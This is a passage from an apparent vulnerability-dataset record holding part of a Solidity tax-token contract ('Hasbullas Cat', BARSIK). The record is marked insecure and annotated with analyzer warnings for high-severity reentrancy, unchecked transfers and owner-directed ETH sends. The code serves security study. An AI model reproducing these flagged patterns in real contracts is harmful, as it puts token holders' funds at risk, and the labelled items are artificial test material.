* 10 ** _decimals;\n\n string private constant _name = unicode\"Hasbullas Cat\";\n\n string private constant _symbol = unicode\"BARSIK\";\n\n uint256 public _maxTxAmount = 200000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26b4510): Barsik._taxSwapThreshold should be constant \n\t// Recommendation for 26b4510: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba791aa): Barsik._maxTaxSwap should be constant \n\t// Recommendation for ba791aa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6d985b3): Barsik.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6d985b3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 011ed3f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 011ed3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 48e586b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 48e586b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 011ed3f\n\t\t// reentrancy-benign | ID: 48e586b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 011ed3f\n\t\t// reentrancy-benign | ID: 48e586b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e9c88f7): Barsik._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e9c88f7: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 48e586b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 011ed3f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 78c6b6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 78c6b6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 46b43a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 46b43a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 78c6b6d\n\t\t\t\t// reentrancy-eth | ID: 46b43a1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 78c6b6d\n\t\t\t\t\t// reentrancy-eth | ID: 46b43a1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 46b43a1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 46b43a1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 46b43a1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 78c6b6d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 46b43a1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 46b43a1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 78c6b6d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 78c6b6d\n\t\t// reentrancy-events | ID: 011ed3f\n\t\t// reentrancy-benign | ID: 48e586b\n\t\t// reentrancy-eth | ID: 46b43a1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 5b9c815): Barsik.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 5b9c815: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 78c6b6d\n\t\t// reentrancy-events | ID: 011ed3f\n\t\t// reentrancy-eth | ID: 46b43a1\n\t\t// arbitrary-send-eth | ID: 5b9c815\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d7d7533): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d7d7533: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7680cc3): Barsik.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7680cc3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fa7e510): Barsik.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fa7e510: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d258ea1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d258ea1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: d7d7533\n\t\t\t// reentrancy-eth | ID: d258ea1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: d7d7533\n\t\t// unused-return | ID: 7680cc3\n\t\t// reentrancy-eth | ID: d258ea1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d7d7533\n\t\t// unused-return | ID: fa7e510\n\t\t// reentrancy-eth | ID: d258ea1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: d7d7533\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d258ea1\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3255a53): Barsik.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 3255a53: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 3255a53\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1358.sol",
"secure": 0,
"size_bytes": 18227
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.